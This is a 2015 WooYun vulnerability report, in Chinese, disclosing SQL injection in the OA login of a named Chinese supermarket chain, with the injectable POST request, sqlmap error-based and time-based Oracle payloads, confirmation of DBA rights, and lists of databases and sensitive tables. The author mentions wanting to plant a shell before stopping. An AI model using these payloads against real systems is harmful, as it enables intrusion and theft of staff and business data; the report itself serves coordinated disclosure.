当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0123520

漏洞标题：乐友某漏洞导致全站数据和所有员工信息会议记录工作信息泄露

相关厂商：乐友(中国)超市连锁有限公司

漏洞作者： 路人甲

提交时间：2015-06-29 18:43

修复时间：2015-08-14 14:54

公开时间：2015-08-14 14:54

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-29： 细节已通知厂商并且等待厂商处理中
2015-06-30： 厂商已经确认，细节仅向厂商公开
2015-07-10： 细节向核心白帽子及相关领域专家公开
2015-07-20： 细节向普通白帽子公开
2015-07-30： 细节向实习白帽子公开
2015-08-14： 细节向公众公开

简要描述：

233

详细说明：

OA系统注射，还是DBA权限。
登陆的时候报错，发现注入点报错可以闭合，直接构造注射语句。
dynamicpass=123456&encData=&ip=127.0.0.1&isdx=1&isIP=0&isusb=1&j_password=123456&j_username=我是注入点&needauthcode=0&rememberme=0&rndData=603605&sendpass=0&uname=mqitbaej

漏洞证明：

---
Parameter: j_username (POST)
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: dynamicpass=g00dPa$$w0rD&encData=&ip=114.247.50.2&isdx=1&isIP=0&isusb=1&j_password=g00dPa$$w0rD&j_username=e') AND 9366=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(120)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (9366=9366) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(118)||CHR(122)||CHR(113)||CHR(62))) FROM DUAL) AND ('UnIY'='UnIY&needauthcode=0&rememberme=0&rndData=617403727403605&sendpass=0&uname=mqitbaej
    Type: AND/OR time-based blind
    Title: Oracle OR time-based blind
    Payload: dynamicpass=g00dPa$$w0rD&encData=&ip=114.247.50.2&isdx=1&isIP=0&isusb=1&j_password=g00dPa$$w0rD&j_username=-5656') OR 8232=DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(108)||CHR(100)||CHR(76),5) AND ('cOin'='cOin&needauthcode=0&rememberme=0&rndData=617403727403605&sendpass=0&uname=mqitbaej
---
back-end DBMS: Oracle
current user:    'LEYOUOA'
current user is DBA:    True
available databases [24]:
[*] APEX_030200
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] HR
[*] IX
[*] LEYOUOA
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] PM
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB
Database: LEYOUOA
[552 tables]
+-------------------------------+
| MODULE                        |
| ACCOUNTSETTING                |
| ALBUM                         |
| ATTACH                        |
| ATTENDANCE                    |
| BLOG_APP                      |
关于员工
| SYSUSER                       |
| PERMISSIONBATCHACTION         |
| PERMISSIONBATCHACTIONDETAIL   |
| PERMISSIONBATCHACTIONGROUP    |
| WORDMODULE                    |
| WORKFLOWACCREDIT              |
| WORKFLOWACTING                |
| WORKFLOWDOCTYPE               |
| WORKFLOWINFO                  |
| WORKFLOWNODESTYLE             |
| WORKFLOWUSECOUNT              |
| WORKFLOWVERSION               |
| WORKFLOWVERSIONLOG            |
会议记录
| UF_MEETING                    |
| UF_MEETINGROOM                |
| UF_MEETINGROOMUSER            |
| UF_MEETING_LIST               |
| UF_MEETRECORD                 |
| UF_MESSAGE_LOG                
| UF_ADMIN_MEETING              |
| UF_ADMIN_MEETINGROOM          |
订单信息
| UF_ORDER                      |
| UF_ORDER_FREIGHT              |
| UF_ORDER_PRODUCT              |
奖金
| UF_REWARD                     |
用户key
| USERKEY                       |
.......等等大量敏感信息
顺利拿到OA管理员账户，想进去看能不能放SHELL，可惜密码是加密的，还没破出来，
本来想把员工down出来跑弱口令，但是这样就对企业安全带来一定的风险。
所以到这里就结束了。

修复方案：

~~

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-06-30 14:53

厂商回复：

我们尽快修复

最新状态：

暂无